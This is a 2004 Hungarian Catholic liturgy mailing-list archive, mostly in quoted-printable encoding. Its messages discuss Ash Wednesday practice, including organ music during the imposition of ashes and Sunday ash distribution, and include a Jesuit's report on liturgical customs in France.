Gyerekkoromban a mise = el=F5tt volt:=20 k=F6ny=F6rg=E9s, szentel=E9s, f=FCst=F6l=E9s, hamvaz=E1s =E9s teljes = mise.
 
B=E1r igaz, hogy a Kyrie = nem idegen a=20 mis=E9t=F5l (Zolt=E1n T.), de a mai liturgikus el=F5=EDr=E1s azt mondja, = hogy a teljes=20 b=FBnb=E1nati r=E9sz elmarad =E9s: az Uram irgalmazz (kyrie). A = b=FBnb=E1nati r=E9sz=20 (vagyis a k=F6zgy=F3n=E1s =E9s feloldoz=E1s) az=E9rt, mert az ma a = hamvazkod=E1ssal (=3D=20 kimegyek, megengedem, hogy =F6sszehamuzzanak, mert v=E1llalom, = megvallom: b=FBn=F6s=20 vagyok) val=F3sul meg nagyon hangs=FAlyosan, az =E9rz=E9kek sz=E1m=E1ra = is hozz=E1f=E9rhet=F5=20 m=F3don. Az "Uram irgalmazz!" egy m=E1sik szok=E1s...
 
=DAgy l=E1tom (nincs = m=E1sfajta mise a=20 misek=F6nyvben) a hamvaz=F3szerdai liturgia =E9ppen abban m=E1s, hogy = van hamuszentel=E9s=20 =E9s hamvaz=E1s, teh=E1t minden mise ilyen. Nem lesz baja a = hamunak, ha t=F6bbsz=F6r=20 meg=E1ldj=E1k (n=E1lunk -szerintem- vagy 10 =E9ve mindig ugyan = abb=F3l a hamub=F3l=20 hamvaznak; meg azt=E1n mi legyen a f=F6l=F6sleges = szentelttel...)
 
Orgona: Szerintem nem=20 megengedhetetlen a hamvaz=E1s alatti halk, hangulat=E1ban odaill=F5 = orgona-zene.=20 Persze jobb a csend, vagy b=FBnb=E1nati zsolt=E1rok =E9nekl=E9se, de = mennyivel jobb, hogy=20 nekem h=E1romszor kellett k=F6rbe=E9nekelnem azt a szam=E1rs=E1got: te = szeg=E9nyember (a=20 gazdag itt is megel=F5zi a nyomorultat) viseld sorsod t=FCrelemmel, mert = m=E9g a=20 k=F6nnyekre is hamu hull, =E9s majd a t=E1voli j=F6v=F5ben, amikor a = b=E1r=E1nyfelh=F5k=F6n=20 angyalokkal repkedsz milyen nagyon j=F3 lesz neked (is)...

 =DCdv.:=20 Urb=E1nP=E9ter (k=E1ntor)


Tisztelt=20 olvas=F3k!
 
Tegnap este az egyik = budapesti (nem=20 k=FClter=FCleti) templomban tapasztaltam a k=F6vetkez=F5t: a =
 
M=E1sik = megjegyz=E9sem: nagyon s=FCrg=F5sen=20 tudatos=EDtani kellene a k=E1ntorokban, hogy Nagyb=F6jt idej=E9n az = orgon=E1t (a=20 negyedik vas=E1rnap kiv=E9tellel) kiz=E1r=F3lag az =E9nek = k=EDs=E9ret=E9re szabad haszn=E1lni. A=20 hamvaz=E1s alatti l=E1gy orgonamuzsika eg=E9szen abszurd jelens=E9g.=20 Megengedhetetlen.
 
------=_NextPart_000_0025_01C3FD19.9EFD0E60-- From varga_janos@hotmail.com Fri Feb 27 09:42:34 2004 From: varga_janos@hotmail.com (János Varga) Date: Fri, 27 Feb 2004 09:42:34 +0000 Subject: [Liturgia] Re: [Liturgia] Hamvazás Message-ID:

Kedves Listatagok!

A mise részeinek sorrendje amúgy tényleg nem változtatható, de itt épp a liturgikus rendelkezések miatt van így. Szándékos ez, hiszen az elmaradó bűnbánati rész, mintegy drámaivá teszi ezt a szentmisét, olyasfajta szokatlanság, törés ez, mint a Szent Három Napban például az eltérő mise-befejezés, vagy (csonka)mise-kezdet. A bűnbánati gesztus aztán az evangélium és a homilia után (sok helyen ez sincs!!! – ot mit csinálnak?!?) valóban a mise, helyesebben az igeliturgia leghangsúlyosabb részévé válik.

Mise végére tenni megint szabálytalan, de az is abusus, ha nincs hamu megáldás, csak hamvazás. Ahol 3 mise van, ott 3 külön adagot lehet kitenni és elmondani a hozzátartozó szöveget, amely értelmezi is egyben magát a szentelményt.

A vasárnapi hamvazás pedig kifejezetten ellentétes a liturgia szellemével, hiszen ez egy bűnbánati cselekmény a Nagyböjt kezdetén. Vasárnap pedig – mint tudjuk – nem része a Szent 40 napnak. Legalább ne hirdetnénk meg, evvel hivatalosan is felkínálva a könnyebb utat, hanem biztatnánk a híveket a hamvazószerdai miselátogatásra, és akinek végképp nem sikerül, azt természetesen mise után csöndben meghamvaznánk.

 

Üdvözlet Mindenkinek: Varga János 

 


The new MSN 8: smart spam protection and 2 months FREE* From kovacser@tippnet.co.yu Fri Feb 27 12:13:13 2004 From: kovacser@tippnet.co.yu (kovacser) Date: Fri, 27 Feb 2004 13:13:13 +0100 Subject: [Liturgia] =?iso-8859-2?Q?hamvaszkod=E1s?= Message-ID: <000b01c3fd2b$15025000$8434c8d4@racunar> This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C3FD33.74953200 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Listatagok! Volt k=E1pl=E1ni helyemen, ahol h=E1rom mise volt = hamvaz=F3szerd=E1n, ez volt a gyakorlat: az els=F5 reggeli mis=E9n = meg=E1ldottuk a hamut (a m=E1sodik k=F6ny=F6rg=E9ssel: =E1ldd meg EZT A = HAMUT), a m=E1sik kett=F5n pedig az els=F5 k=F6ny=F6rg=E9st mondtuk = (amikor h=EDveid fej=E9re hamut hint=FCnk =E1raszd R=C1JUK szent = =E1ld=E1sodat) =E9s nem hintett=FCk meg a hamut szenteltv=EDzzel. = Mindh=E1rom esetben a homilia ut=E1n volt a hamvaz=E1s. Vas=E1rnap = egyh=E1zmegy=E9nkben nem szok=E1s hamvaszkodni (hiszen az nem = b=FBnb=E1nati nap), de k=F6telez=F5 az =FCnnep=E9lyes bevonul=E1s a = kereszttel a Mindenszentek lit=E1ni=E1j=E1nak =E9nekl=E9s=E9vel, amire = az introitus =E9s a kollekta k=F6vetkezik (b=FBnb=E1nati cselekm=E9ny = n=E9lk=FCl). A hamvaszkod=E1s alatti orgonasz=F3 val=F3ban szab=E1lytalannak = (tal=E1n kiss=E9 giccsesnek is) t=FBnik, hiszen a f=FCl =E9s a szem = b=F6jtje ugyan=FAgy szerves r=E9sze a nagyb=F6jnek. Aki nem kedveli a = Hamvaszkodj=E1l h=EDv=F5 l=E9lek c=EDm=FB =E9neket, veheti a misek=F6nyv = antif=F3n=E1it zsolt=E1rt=F3nusra vagy az =C9E 528 =E9s 529 = antif=F3n=E1kat vagy az =C9E 63 =E9neket. (N=E1lunk egy =E9v alatt a = falusi n=E9nik elsaj=E1t=EDtott=E1k a teljes =C9E reperto=E1rt, s=F5t = m=E9g az introitusok k=F6nyv=E9t is. Pedig kott=E1t egy sem tud olvasni = =E9s m=E9gis pontosan, =E9lvezettel =E9neklik minden vas=E1rnap saj=E1t = introitus=E1t, kommuni=F3j=E1t. Mindez a k=E1ntor szorgalm=E1nak =E9s = lelkesed=E9s=E9nek k=F6sz=F6nhet=F5 aki autodidakta, oklevele nincs. = Hasonl=F3 reformot a horv=E1t =E9nekkarral is csin=E1lt. Egyed=FCl a = n=E9met =E9nekreperto=E1r maradt a r=E9gi. Siker=FClt bevezetni az = id=F5nk=E9nti latin mis=E9ket is.) Falumban =E9n vezettem be a vas=E1rnapi p=F3thamvaszkod=E1st a mise = z=E1r=F3=E9neke alatt, hiszen szerd=E1n sem az iskol=E1s gyermekek, sem = a munkaviszonyban l=E9v=F5k nagy r=E9sze nem tud elj=F6nni, =EDgy soha = nem hamvaszkodhatn=E1nak =E9s nem tal=E1lkozn=E1nak ezzel a szok=E1ssal, = amely tal=E1n =EDgy id=F5vel ki is halna. Ez=E9rt h=E1t pl=E9b=E1nosom = is elfogadta ezen lelkip=E1sztori szempontot. Mindenkinek =E1ldott Nagyb=F6jt=F6t k=EDv=E1nok. Kov=E1cs Ervin, k=E1pl=E1n ------=_NextPart_000_0006_01C3FD33.74953200 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Kedves Listatagok!
    Volt k=E1pl=E1ni = helyemen, ahol=20 h=E1rom mise volt hamvaz=F3szerd=E1n, ez volt a gyakorlat: az els=F5 = reggeli mis=E9n=20 meg=E1ldottuk a hamut (a m=E1sodik k=F6ny=F6rg=E9ssel: =E1ldd = meg EZT A HAMUT), a m=E1sik=20 kett=F5n pedig az els=F5 k=F6ny=F6rg=E9st mondtuk (amikor h=EDveid = fej=E9re hamut hint=FCnk=20 =E1raszd R=C1JUK szent =E1ld=E1sodat) =E9s nem hintett=FCk meg a hamut = szenteltv=EDzzel.=20 Mindh=E1rom esetben a homilia ut=E1n volt a hamvaz=E1s. Vas=E1rnap = egyh=E1zmegy=E9nkben nem=20 szok=E1s hamvaszkodni (hiszen az nem b=FBnb=E1nati nap), de k=F6telez=F5 = az =FCnnep=E9lyes=20 bevonul=E1s a kereszttel a Mindenszentek lit=E1ni=E1j=E1nak = =E9nekl=E9s=E9vel, amire az=20 introitus =E9s a kollekta k=F6vetkezik (b=FBnb=E1nati cselekm=E9ny = n=E9lk=FCl).
    A hamvaszkod=E1s = alatti orgonasz=F3=20 val=F3ban szab=E1lytalannak (tal=E1n kiss=E9 giccsesnek is) t=FBnik, = hiszen a f=FCl =E9s a=20 szem b=F6jtje ugyan=FAgy szerves r=E9sze a nagyb=F6jnek. Aki nem kedveli = a Hamvaszkodj=E1l=20 h=EDv=F5 l=E9lek c=EDm=FB =E9neket, veheti a misek=F6nyv antif=F3n=E1it = zsolt=E1rt=F3nusra vagy az =C9E=20 528 =E9s 529 antif=F3n=E1kat vagy az =C9E 63 =E9neket. (N=E1lunk egy = =E9v alatt a falusi n=E9nik=20 elsaj=E1t=EDtott=E1k a teljes =C9E reperto=E1rt, s=F5t m=E9g az = introitusok k=F6nyv=E9t is. Pedig=20 kott=E1t egy sem tud olvasni =E9s m=E9gis pontosan, =E9lvezettel = =E9neklik minden vas=E1rnap=20 saj=E1t introitus=E1t, kommuni=F3j=E1t. Mindez a = k=E1ntor szorgalm=E1nak =E9s=20 lelkesed=E9s=E9nek k=F6sz=F6nhet=F5 aki autodidakta, oklevele=20 nincs. Hasonl=F3 reformot a horv=E1t =E9nekkarral is = csin=E1lt. Egyed=FCl a=20 n=E9met =E9nekreperto=E1r maradt a r=E9gi. Siker=FClt bevezetni az = id=F5nk=E9nti latin mis=E9ket=20 is.)
    Falumban =E9n = vezettem be a=20 vas=E1rnapi p=F3thamvaszkod=E1st a mise z=E1r=F3=E9neke alatt, hiszen = szerd=E1n sem az iskol=E1s=20 gyermekek, sem a munkaviszonyban l=E9v=F5k nagy r=E9sze nem tud = elj=F6nni, =EDgy soha nem=20 hamvaszkodhatn=E1nak =E9s nem tal=E1lkozn=E1nak ezzel a szok=E1ssal, = amely tal=E1n =EDgy=20 id=F5vel ki is halna. Ez=E9rt h=E1t pl=E9b=E1nosom is elfogadta ezen = lelkip=E1sztori=20 szempontot.
    Mindenkinek =E1ldott = Nagyb=F6jt=F6t=20 k=EDv=E1nok.
Kov=E1cs Ervin, = k=E1pl=E1n
------=_NextPart_000_0006_01C3FD33.74953200-- From biacsi-l@freemail.hu Fri Feb 27 15:11:25 2004 From: biacsi-l@freemail.hu (=?ISO-8859-2?Q?Biacsi_D=E1vid_SJ?=) Date: Fri, 27 Feb 2004 16:11:25 +0100 Subject: [Liturgia] Franciaorszagbol In-Reply-To: <000b01c3fd2b$15025000$8434c8d4@racunar> Message-ID: <001d01c3fd43$f7a9ea90$6c01a8c0@biacsi> This is a multi-part message in MIME format. ------=_NextPart_000_001E_01C3FD4C.596E5290 Content-Type: text/plain; charset="ISO-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Listatagok, =20 Kov=E1cs Ervin =FAjabb megsz=F3lal=E1sa v=E9gre =F6szt=F6nz=E9st adott = ahhoz, hogy besz=E1moljak arr=F3l a liturgi=E1r=F3l, amivel Franciaorsz=E1gban = tal=E1lkozom. Magam is a szabadkai egyh=E1zmegy=E9ben sz=EDvtam magamba a liturgikus = hagyom=E1nyt =E9s a l=E1that=F3 egyh=E1zr=F3l sz=F3l=F3 egyh=E1zk=E9pet, ann=E1l nagyobb = megd=F6bben=E9s =E9rt, amikor egy olyan t=E1rsadalomban =E9l=F5 -- =E9lni v=E1gy=F3 -- = r=E9szegyh=E1zzal tal=E1lkoztam, aminek az identit=E1s=E1hoz kisebb megszak=EDt=E1sokkal t=F6bb mint = k=E9tsz=E1z =E9ve valamilyen m=E9rt=E9kben hozz=E1tartozik a vall=E1stalans=E1g, a = "laicit=E9". =20 =D6mlesztve adom =E1t tapasztalataimat, =E9s eln=E9z=E9st k=E9rek a struktur=E1latlans=E1g=E9rt; levelemben egy sz=E1momra kor=E1bban nem = ismert r=F3mai r=EDtusr=F3l =E9s katolikus r=E9szegyh=E1zr=F3l szeretn=E9k = besz=E1molni. =20 Ervin eml=EDtette egyszer, hogy nem mis=E9zik reverenda n=E9lk=FCl -- = magam is, hacsak tehettem, Magyarorsz=E1gon karingben =E9s tal=E1risban = ministr=E1ltam. Ezzel szemben Franciaorsz=E1gban m=E9g SOHA nem l=E1ttam sem reverend=E1t, sem = szim=E1rt, m=E9g p=FCsp=F6k=F6n sem, szentelend=F5 papon, diak=F3nuson sem! = Kapaszkodjatok meg: vas=E1rnapi rendszeres tridenti r=EDtus=FA mis=E9n sem mis=E9zett a pap = reverend=E1ban! Tov=E1bbmegyek: dalmatik=E1t sem l=E1ttam m=E9g! A diak=F3nusok = kiz=E1r=F3lag alb=E1t =E9s st=F3l=E1t viselnek, m=E9g a szentel=E9s=FCkkor sem kapnak dalmatik=E1t! = A tunicell=E1r=F3l sz=FCks=E9gtelen besz=E9lnem. A v=E1llkend=F5 ismeretlen. Kazul=E1t = pl=E9b=E1niatemplomokban csak a f=F5celebr=E1nson l=E1ttam, a koncelebr=E1nsok mind alb=E1t =E9s = st=F3l=E1t viselnek; ezzel szemben k=F6z=F6ss=E9gi mis=E9ken nem haszn=E1lnak kazul=E1t. = Ministr=E1nsokat -- gyerekek -- csak a tridenti mis=E9n l=E1ttam. Karinggel, pal=E1sttal nem tal=E1lkoztam. =20 A gesztusok k=F6z=F6tt t=E9rdel=E9st =E9s t=E9rdhajt=E1st = egyszer-k=E9tszer l=E1ttam. A h=EDvek k=F6z=F6tt vannak nagyon kevesen, akik t=E9rdelnek a konszekr=E1ci=F3 = alatt. Papszentel=E9skor a lit=E1nia alatt a szentelend=F5k arcra borultak, a presbit=E9riumban lev=F5 papok t=E9rdeltek, de mindenki m=E1s =E1llt. Az olt=E1riszents=E9get sehol sem =FCdv=F6zlik t=E9rdhajt=E1ssal. A mise = alatti h=E1rom t=E9rdhajt=E1st csak k=E9t papn=E1l figyeltem meg. A misek=F6nyvben = el=F5=EDrt f=F5hajt=E1sokat sehol sem l=E1ttam. Meghajl=E1s sincs az =E1ld=E1s = alatt, csak be- =E9s kivonul=E1skor az olt=E1r fel=E9. =20 Nem tudom, hogy mi=E9rt k=F6t bele annyira a dikaszt=E9rium a r=F3mai = misek=F6nyv angol ford=EDt=E1s=E1ba, hiszen a francia sz=E1mos esetben teljesen = elt=E9r a r=F3mait=F3l! A legjelent=F5sebb elt=E9r=E9sek: az Oremus-t szabadon = adj=E1k vissza: "foglaljuk =F6ssze im=E1nkat, im=E1dkozzunk =FAjra az =DArhoz, = im=E1dkozzunk egy=FCtt..."; a k=F6ny=F6rg=E9seket lez=E1r=F3 doxol=F3gi=E1k teljesen arbitr=E1lisak = ("a mi Urunk J=E9zus Krisztus, a te Fiad =E1ltal, aki veled =E9l =E9s uralkodik..." helyett = gyakran csak "Krisztus =E1ltal" vagy "Krisztus, a mi Urunk =E1ltal"); az = olvasm=E1nyok ut=E1n soha sincs "ez az Isten ig=E9je -- Istennek legyen h=E1la", = hiszen minden =E1ltalam k=E9rdezett francia azt mondja, hogy csak az Evang=E9lium az = Isten ig=E9je (vajon ezek a franci=E1k tudj=E1k-e, hogy az eg=E9sz latin r=EDtus=FA = vil=E1gegyh=E1z err=F5l mit vall?); a nagyb=F6jti tractus (is) v=E1laszos =E9nek. A = confiteort szinte egy=E1ltal=E1n nem haszn=E1lj=E1k, helyette valamilyen Kyri=E9t = =E9nekelnek. A bort eleve a kehelybe t=F6ltik, csak a v=EDzhez haszn=E1lnak ampoln=E1t; felaj=E1nl=E1skor a keny=E9r =E9s a bor felaj=E1nl=E1s=E1t gyakran = =F6sszevonj=E1k; t=F6bb kehely =E1tv=E1ltoztat=E1sakor gyakran csak az egyikben lev=F5 bort = vegy=EDtik v=EDzzel (fogalmaink szerint =E9rv=E9nyes ilyenkor a csak bort tartalmaz=F3 = kehelyben a konszekr=E1ci=F3?); =E1ltal=E1ban nincs k=E9zmos=E1s!; a "fogadja el az = =DAr kezedb=F5l az =E1ldozatot..." kezdet=FB v=E1lasz a francia misek=F6nyvben mind=F6ssze: = "Isten dics=F5s=E9g=E9re =E9s a vil=E1g =FCdv=F6ss=E9g=E9re"; a k=E1nonok = k=F6z=FCl az els=F5t =E9s a negyediket soha nem hallottam; a k=E1non =E1tv=E1ltoztat=E1s ut=E1ni = r=E9sz=E9t a mis=E9z=F5 tetsz=E9se szerint t=F6bbsz=F6r =E9nekelt akklam=E1ci=F3 szak=EDt(hat)ja = f=E9lbe, pl. "K=FCldd el Lelkedet a kehelyre, k=FCldd el Lelkedet a keny=E9rre" =E9s "K=FCldd = el Lelkedet n=E9pedre, k=FCldd el Lelkedet egybegy=FBlt n=E9pedre", amelyeket a = celebr=E1ns el=F5=E9nekel =E9s a k=F6z=F6ss=E9g megism=E9tel, majd a celebr=E1ns = folytatja a k=E1nont. K=F6z=F6ss=E9gi mis=E9kn=E9l sajnos egyes papok a misek=F6nyvet = rendszeresen k=F6rbeadj=E1k, =E9s a koncelebr=E1l=F3 papok sz=F6vegeit a szentmis=E9t =FCnnepl=F5 = (kis)k=F6z=F6ss=E9g tagjai (szerzetesek, vil=E1giak, egyetemist=E1k stb.) olvass=E1k. V=E9g=FCl a = z=E1r=F3 doxol=F3gi=E1t gyakran minden jelenlev=F5 egy=FCtt mondja a celebr=E1nssal. =20 A Miaty=E1nkot a h=EDv=F5k nagy r=E9sze a paphoz hasonl=F3an = sz=E9tt=E1rt kezekkel im=E1dkozza. K=F6z=F6ss=E9gi mis=E9kben gyakran marad el a = b=E9ke-k=E9zfog=E1sra sz=F3l=EDt=F3 felh=EDv=E1s =E9s a b=E9kev=E1lt=E1s: a pap b=E9kek=EDv=E1ns=E1g=E1t = =E9s a v=E1laszt r=F6gt=F6n a keny=E9rt=F6r=E9s k=F6veti, ami =EDgy eg=E9szen k=F6zel =E1ll a tridenti = r=EDtushoz, ahol a keny=E9rt=F6r=E9s f=F6l=F6tt mondt=E1k a b=E9keim=E1t. =20 Az =E1ldoz=E1s rendszeresen k=E9t sz=EDn alatt t=F6rt=E9nik, ezt = sz=E9pen val=F3s=EDtj=E1k meg. A mise az utols=F3 Deo gratias-szal =E9r v=E9get: nincs kivonul=E1si = =E9nek, sem mag=E1nh=E1laad=E1s: a h=EDvek azonnyomban t=E1voznak a templomb=F3l. = Ami =E9rt=E9kes ebben a szint=E9n r=F3mainak mondott liturgi=E1ban, az k=FCl=F6n=F6sen az = =E9nek ir=E1nti ig=E9ny: gyakorlatilag nincs olyan szentmise, ahol a mysterium fidei-t ne = =E9nekeln=E9k, =E9s =E1ltal=E1ban m=E9g a Kyri=E9t vagy a Sanctust is. Egy=E9bk=E9nt = =E9n =FAgy l=E1tom, hogy -- a szimb=F3lum, a hagyom=E1ny =E9s a tekint=E9ly fogalm=E1t nem = ismerve, m=E1sk=E9pp =E9rtelmezve vagy nem =E9rt=E9kelve -- a sz=E1mukra ki=FCresedett = tartalmakat leegyszer=FBs=EDtik vagy elhagyj=E1k, a keletkezett =FBrt pedig = =E9nekkel igyekeznek kit=F6lteni. Ez abban is megnyilv=E1nul, hogy pl. nincs vagy elmarad az = =E1ld=E1s =E9tkez=E9s el=F5tt-ut=E1n, de az =FAjmis=E9s =E1ld=E1s is teljesen = ismeretlen; papok, szeminarist=E1k, szerzetesek =E1ltal=E1ban semmilyen egyh=E1zi = =F6lt=F6zetet sem viselnek, nagyon kev=E9s kiv=E9tellel: ezek k=F6z=F6tt a legelterjedtebb = a mindig a fels=F5ruh=E1n (=F6lt=F6ny=F6n-nyakkend=F5n) viselt b=F5rsz=EDjra = f=FBz=F6tt kis, m=FBv=E9szi, n=E9ha absztrakt vagy nonfigurat=EDv fa- vagy zom=E1nckereszt (nem fesz=FClet); = a p=FCsp=F6k =F6lt=F6zete az =F6lt=F6ny-nyakkend=F5n viselt mellkereszt. A = papszentel=E9sre visszat=E9rve: n=E9gy =FAjonnan szentelt pap =E9s k=E9t diak=F3nus = szentk=E9p=E9n egy semmilyen vall=E1sos ellemmel sem rendelkez=F5 nonfigurat=EDv festm=E9ny = volt. =20 Katolikus k=F6rmenetek nincsenek; ezzel szemben a m=E1s vall=E1s=FAak = (hinduk, konfuci=E1nusok) k=F6rmeneteit (Gan=E9sa isten tisztelet=E9re, vagy a = Hold-=FAj=E9v alkalm=E1b=F3l) nagy t=E1rsadalmi =E9rdekl=F5d=E9s =F6vezi. = Lit=E1ni=E1k, r=F3zsaf=FCz=E9r-=E1jtatoss=E1gok, olt=E1riszents=E9g-tisztelet = (monstrancia, szents=E9gi =E1ld=E1s) nincs. A szentgy=F3n=E1s mellett =E9l a "meghallgat=E1s" = szolg=E1lata, ami azt jelenti, hogy szerzetesek vagy k=E9pzett vil=E1giak fogadj=E1k a = templomban a besz=E9lgetni v=E1gy=F3kat. =20 Vannak olyan igen gy=FCm=F6lcs=F6z=F5 pr=F3b=E1lkoz=E1sok, ahol az = evang=E9lium ut=E1n h=FAsz percnyi teljes csend ny=FAjt alkalmat a szem=E9lyes im=E1ra (az egyik = k=E1poln=E1ban vezetett elm=E9lked=E9s seg=EDti az ezt ig=E9nyl=F5ket), majd ut=E1na = =F6t perc alatt az egym=E1s k=F6rnyezet=E9ben lev=F5k megoszthatj=E1k tapasztalataikat. =20 Eddig tart a besz=E1mol=F3m. J=E1k=F3 testv=E9r, te =E9lt=E9l = Franciaorsz=E1gban, bizony=E1ra hozz=E1sz=F3lsz a fenti tapasztalatokhoz. =20 Osztom azoknak a t=E1rsadalomtud=F3soknak a f=E9lelm=E9t (pl. Noel = Barber =EDr jezsuita), akik szerint legfeljebb n=E9h=E1ny =E9vtized m=FAlva m=E9g az = indiai =E9s az afrikai egyh=E1zak is a mai nyugat-eur=F3pai (francia?) szekulariz=E1lt-vall=E1stalan t=E1rsadalmi k=F6rnyezetbe fognak = ker=FClni. Akik sz=E1m=E1ra a vall=E1sos tapasztalat, =E9rt=E9kek, szimb=F3lumok = ismeretlenek, azok a vall=E1sos emberek legm=E9lyebb identit=E1s=E1val, =E9let=FCk = =E9rtelm=E9vel, magatart=E1suk zsin=F3rm=E9rt=E9k=E9vel, kult=FAr=E1jukkal nem tudnak mit kezdeni, =E9s = ez egyesekben ugyan egzotikum ir=E1nti k=EDv=E1ncsis=E1got, m=E1sokban azonban = hatalmas frusztr=E1ci=F3t okoz. A szerencs=E9tlen Tilos R=E1di=F3-esetek csak sz=E9ls=F5s=E9ges = p=E9ld=E1i ennek a kezeletlen frusztr=E1ci=F3nak. Azt szoktam mondani, hogy boldogabb t=E1rsadalmakban nemcsak akkor megy valaki szakorvoshoz, ha egy = fogf=E1j=E1s okozta f=E1jdalmai miatt v=E1lik ki=E1llhatatlann=E1 k=F6rnyezete = sz=E1m=E1ra, hanem akkor is, ha a benne felhalmozott fesz=FClts=E9gek teszik viselked=E9s=E9t elviselhetetlenn=E9, toler=E1lhatatlann=E1. =20 Sapienti sat. Az utols=F3 bekezd=E9s miatt eln=E9z=E9st k=E9rek = azokt=F3l, akik a list=E1n kiz=E1r=F3lag liturgi=E1val kapcsolatos =FCzeneteket szeretn=E9nek = olvasni. =20 =DCdv=F6zlettel, P=E1rizs sz=EDv=E9b=F5l, gy=FCm=F6lcs=F6z=F5 = nagyb=F6jti id=F5t k=EDv=E1nva Biacsi D=E1vid SJ ------=_NextPart_000_001E_01C3FD4C.596E5290 Content-Type: text/html; charset="ISO-8859-2" Content-Transfer-Encoding: quoted-printable Message
Kedves=20 Listatagok,
 
Kov=E1cs Ervin =FAjabb = megsz=F3lal=E1sa v=E9gre=20 =F6szt=F6nz=E9st adott ahhoz, hogy besz=E1moljak arr=F3l a = liturgi=E1r=F3l, amivel=20 Franciaorsz=E1gban tal=E1lkozom. Magam is a szabadkai egyh=E1zmegy=E9ben = sz=EDvtam magamba=20 a liturgikus hagyom=E1nyt =E9s a l=E1that=F3 egyh=E1zr=F3l sz=F3l=F3 = egyh=E1zk=E9pet, ann=E1l nagyobb=20 megd=F6bben=E9s =E9rt, amikor egy olyan t=E1rsadalomban =E9l=F5 -- = =E9lni v=E1gy=F3 --=20 r=E9szegyh=E1zzal tal=E1lkoztam, aminek az identit=E1s=E1hoz kisebb = megszak=EDt=E1sokkal t=F6bb=20 mint k=E9tsz=E1z =E9ve valamilyen m=E9rt=E9kben hozz=E1tartozik a = vall=E1stalans=E1g, a=20 "laicit=E9".
 
=D6mlesztve adom =E1t = tapasztalataimat, =E9s=20 eln=E9z=E9st k=E9rek a struktur=E1latlans=E1g=E9rt; levelemben egy = sz=E1momra kor=E1bban nem=20 ismert r=F3mai r=EDtusr=F3l =E9s katolikus r=E9szegyh=E1zr=F3l = szeretn=E9k=20 besz=E1molni.
 
Ervin eml=EDtette egyszer, = hogy nem mis=E9zik=20 reverenda n=E9lk=FCl -- magam is, hacsak tehettem, Magyarorsz=E1gon = karingben =E9s=20 tal=E1risban ministr=E1ltam. Ezzel szemben Franciaorsz=E1gban m=E9g SOHA = nem l=E1ttam sem=20 reverend=E1t, sem szim=E1rt, m=E9g p=FCsp=F6k=F6n sem, szentelend=F5 = papon, diak=F3nuson sem!=20 Kapaszkodjatok meg: vas=E1rnapi rendszeres tridenti r=EDtus=FA mis=E9n = sem mis=E9zett a=20 pap reverend=E1ban! Tov=E1bbmegyek: dalmatik=E1t sem l=E1ttam = m=E9g! A diak=F3nusok=20 kiz=E1r=F3lag alb=E1t =E9s st=F3l=E1t viselnek, m=E9g a = szentel=E9s=FCkkor sem kapnak dalmatik=E1t!=20 A tunicell=E1r=F3l sz=FCks=E9gtelen besz=E9lnem. A v=E1llkend=F5 = ismeretlen. Kazul=E1t=20 pl=E9b=E1niatemplomokban csak a f=F5celebr=E1nson l=E1ttam, a = koncelebr=E1nsok mind alb=E1t =E9s=20 st=F3l=E1t viselnek; ezzel szemben k=F6z=F6ss=E9gi mis=E9ken nem = haszn=E1lnak kazul=E1t.=20 Ministr=E1nsokat -- gyerekek -- csak a tridenti mis=E9n l=E1ttam. = Karinggel, pal=E1sttal=20 nem tal=E1lkoztam.
 
A gesztusok = k=F6z=F6tt t=E9rdel=E9st=20 =E9s t=E9rdhajt=E1st egyszer-k=E9tszer l=E1ttam. A h=EDvek = k=F6z=F6tt vannak nagyon=20 kevesen, akik t=E9rdelnek a konszekr=E1ci=F3 alatt. Papszentel=E9skor a = lit=E1nia alatt a=20 szentelend=F5k arcra borultak, a presbit=E9riumban = lev=F5 papok t=E9rdeltek,=20 de mindenki m=E1s =E1llt. Az olt=E1riszents=E9get sehol sem =FCdv=F6zlik = t=E9rdhajt=E1ssal. A=20 mise alatti h=E1rom t=E9rdhajt=E1st csak k=E9t papn=E1l figyeltem meg. A = misek=F6nyvben=20 el=F5=EDrt f=F5hajt=E1sokat sehol sem l=E1ttam. Meghajl=E1s sincs az = =E1ld=E1s alatt, csak be-=20 =E9s kivonul=E1skor az olt=E1r = fel=E9.
 
Nem tudom, hogy mi=E9rt k=F6t = bele annyira a=20 dikaszt=E9rium a r=F3mai misek=F6nyv angol ford=EDt=E1s=E1ba, hiszen a = francia sz=E1mos=20 esetben teljesen elt=E9r a r=F3mait=F3l! A legjelent=F5sebb = elt=E9r=E9sek:=20 az=20 Oremus-t szabadon adj=E1k vissza: "foglaljuk =F6ssze im=E1nkat, = im=E1dkozzunk =FAjra az=20 =DArhoz, im=E1dkozzunk egy=FCtt..."; a k=F6ny=F6rg=E9seket lez=E1r=F3 = doxol=F3gi=E1k teljesen=20 arbitr=E1lisak ("a mi Urunk J=E9zus Krisztus, a te Fiad =E1ltal, aki = veled =E9l =E9s=20 uralkodik..." helyett gyakran csak "Krisztus =E1ltal" vagy "Krisztus, a = mi Urunk=20 =E1ltal"); az olvasm=E1nyok ut=E1n soha sincs "ez az Isten ig=E9je -- = Istennek legyen=20 h=E1la", hiszen minden =E1ltalam k=E9rdezett francia azt mondja, hogy = csak az=20 Evang=E9lium az Isten ig=E9je (vajon ezek a franci=E1k tudj=E1k-e, hogy = az=20 eg=E9sz latin r=EDtus=FA vil=E1gegyh=E1z err=F5l mit vall?); a = nagyb=F6jti tractus (is)=20 v=E1laszos =E9nek. A confiteort szinte egy=E1ltal=E1n nem = haszn=E1lj=E1k, helyette=20 valamilyen Kyri=E9t =E9nekelnek. A bort eleve a kehelybe t=F6ltik, csak = a v=EDzhez=20 haszn=E1lnak ampoln=E1t; felaj=E1nl=E1skor a keny=E9r =E9s a bor = felaj=E1nl=E1s=E1t gyakran=20 =F6sszevonj=E1k; t=F6bb kehely =E1tv=E1ltoztat=E1sakor gyakran csak = az egyikben lev=F5=20 bort vegy=EDtik v=EDzzel (fogalmaink szerint =E9rv=E9nyes ilyenkor a = csak bort=20 tartalmaz=F3 kehelyben a konszekr=E1ci=F3?); =E1ltal=E1ban nincs = k=E9zmos=E1s!; a "fogadja el=20 az =DAr kezedb=F5l az =E1ldozatot..." kezdet=FB v=E1lasz a francia = misek=F6nyvben mind=F6ssze:=20 "Isten dics=F5s=E9g=E9re =E9s a vil=E1g =FCdv=F6ss=E9g=E9re"; a = k=E1nonok k=F6z=FCl az els=F5t =E9s a=20 negyediket soha nem hallottam; a k=E1non 